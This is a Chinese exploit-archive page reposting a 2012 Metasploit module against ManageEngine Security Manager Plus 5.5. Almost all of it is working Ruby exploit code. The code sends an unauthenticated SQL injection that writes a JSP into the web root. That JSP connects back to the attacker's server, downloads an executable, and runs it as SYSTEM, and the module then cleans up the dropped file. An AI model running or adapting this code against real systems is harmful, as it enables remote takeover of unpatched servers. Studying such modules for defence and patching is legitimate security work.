首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ManageEngine Security Manager Plus <= 5.5 build 5505 Remote SYSTEM SQLi (MSF)
来源:http://www.metasploit.com 作者:xistence 发布时间:2012-10-22  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::TcpServer
    include Msf::Exploit::EXE
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "ManageEngine Security Manager Plus <=5.5 build 5505 remote code execution",
            'Description'    => %q{
                    This module exploits a SQL injection found in ManageEngine Security Manager Plus
                advanced search page.  It will send a malicious SQL query to create a JSP file
                under the web root directory, and then let it download and execute our malicious
                executable under the context of SYSTEM. No authentication is necessary to exploit this.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'xistence'  # Discovery & Metasploit module
                ],
            'References'     =>
                [
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # Win XP / 2003 / Vista / Win 7 / etc
                    ['Windows Universal', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Oct 18 2012",
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptPort.new('RPORT', [true, 'The target port', 6262]),
            ], self.class)
    end
 
 
    #
    # A very gentle check to see if Security Manager Plus exists or not
    #
    def check
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => '/SecurityManager.cc'
        })
 
        if res and res.body =~ /\<title\>Security Manager Plus\<\/title\>/
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end
 
 
    #
    # Remove the JSP once we get a shell.
    # We cannot delete the executable because it will still be in use.
    #
    def on_new_session(cli)
        if cli.type != 'meterpreter'
            print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
            return
        end
 
        cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
 
        begin
    #        jsp = @outpath.gsub(/\//, "\\\\")
    #        jsp = jsp.gsub(/"/, "")
            vprint_status("#{rhost}:#{rport} - Deleting: #{@jsp_name + '.jsp'}")
            cli.fs.file.rm("../webapps/SecurityManager/#{@jsp_name + '.jsp'}")
            print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
        rescue ::Exception => e
            print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
        end
    end
 
 
    #
    # Transfer the malicious executable to our victim
    #
    def on_client_connect(cli)
        print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)")
        cli.put(@native_payload)
        service.close_client(cli)
    end
 
 
    #
    # Generate a download+exe JSP payload
    #
    def generate_jsp_payload
        my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
        my_port = datastore['SRVPORT']
 
        # tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\
        # This will download our malicious executable in base64 format, decode it back,
        # save it as a temp file, and then finally execute it.
        jsp = %Q|
        <%@page import="java.io.*"%>
        <%@page import="java.net.*"%>
        <%@page import="sun.misc.BASE64Decoder"%>
 
        <%
        StringBuffer buf = new StringBuffer();
        byte[] shellcode = null;
        BufferedOutputStream outstream = null;
        try {
            Socket s = new Socket("#{my_host}", #{my_port});
            BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));
            while (buf.length() < #{@native_payload.length}) {
                buf.append( (char) r.read());
            }
 
            BASE64Decoder decoder = new BASE64Decoder();
            shellcode = decoder.decodeBuffer(buf.toString());
 
            File temp = File.createTempFile("#{@native_payload_name}", ".exe");
            String path = temp.getAbsolutePath();
 
            outstream = new BufferedOutputStream(new FileOutputStream(path));
            outstream.write(shellcode);
            outstream.close();
 
            Process p = Runtime.getRuntime().exec(path);
        } catch (Exception e) {}
        %>
        |
 
        jsp = jsp.gsub(/\n/, '')
        jsp = jsp.gsub(/\t/, '')
 
        jsp.unpack("H*")[0]
    end
 
 
    #
    # Run the actual exploit
    #
    def inject_exec
        # This little lag is meant to ensure the TCP server runs first before the requests
        select(nil, nil, nil, 1)
 
        # Inject our JSP payload
        print_status("#{rhost}:#{rport} - Sending JSP payload")
        pass = rand_text_alpha(rand(10)+5)
        hex_jsp  = generate_jsp_payload
 
        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => '/STATE_ID/31337/jsp/xmlhttp/persistence.jsp?reqType=AdvanceSearch&SUBREQUEST=XMLHTTP',
            'headers'   => {
                'Cookie' => 'STATE_COOKIE=%26SecurityManager%2FID%2F174%2FHomePageSubDAC_LIST%2F223%2FSecurityManager_CONTENTAREA_LIST%2F226%2FMainDAC_LIST%2F166%26MainTabs%2FID%2F167%2F_PV%2F174%2FselectedView%2FHome%26Home%2FID%2F166%2FPDCA%2FMainDAC%2F_PV%2F174%26HomePageSub%2FID%2F226%2FPDCA%2FSecurityManager_CONTENTAREA%2F_PV%2F166%26HomePageSubTab%2FID%2F225%2F_PV%2F226%2FselectedView%2FHomePageSecurity%26HomePageSecurity%2FID%2F223%2FPDCA%2FHomePageSubDAC%2F_PV%2F226%26_REQS%2F_RVID%2FSecurityManager%2F_TIME%2F31337; 2RequestsshowThreadedReq=showThreadedReqshow; 2RequestshideThreadedReq=hideThreadedReqhide;',
                'Accept-Encoding' => 'identity'
            },
            'vars_post'  => {
                'ANDOR' => 'and',
                'condition_1' => 'OpenPorts@PORT',
                'operator_1' => 'IN',
                'value_1'  => "1)) union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,21,22,23,24,25,26,27,28,29 into outfile #{@outpath} FROM mysql.user WHERE 1=((1",
                'COUNT' => '1'
            }
        })
 
        print_status("#{rhost}:#{rport} - Sending pwnage /#{@jsp_name + '.jsp'}")
        res = send_request_raw({
            'method'  => 'GET',
            'uri'     => "/#{@jsp_name + '.jsp'}",
            'headers' => {
                'Cookie' => 'pwnage'
            }
        })
 
        handler
    end
 
 
    #
    # The server must start first, and then we send the malicious requests
    #
    def exploit
        # Avoid passing this as an argument for performance reasons
        # This is in base64 is make sure our file isn't mangled
        @native_payload      = [generate_payload_exe].pack("m*")
        @native_payload_name = rand_text_alpha(rand(6)+3)
        @jsp_name            = rand_text_alpha(rand(6)+3)
        @outpath             = "\"../../webapps/SecurityManager/#{@jsp_name + '.jsp'}\""

        begin
            t = framework.threads.spawn("reqs", false) { inject_exec }
            print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
            super
        ensure
            t.kill
        end
    end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ManageEngine Security Manager
·Internet Explorer 9 XSS Filter
·ManageEngine Security Manager
·RealPlayer 15.0.6.14 (.3GP) Ar
·BestPlay v4.1 (.mp3) Crash PoC
·Adobe reader 10.1.4 memory cor
·Oracle Database Authentication
·Internet Explorer 9 XSS Filter
·Oracle Database Authentication
·JPEGsnoop 1.5.2 <= WriteAV Arb
·Turbo FTP Server 1.30.823 PORT
·NCMedia Sound Editor Pro v7.5.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved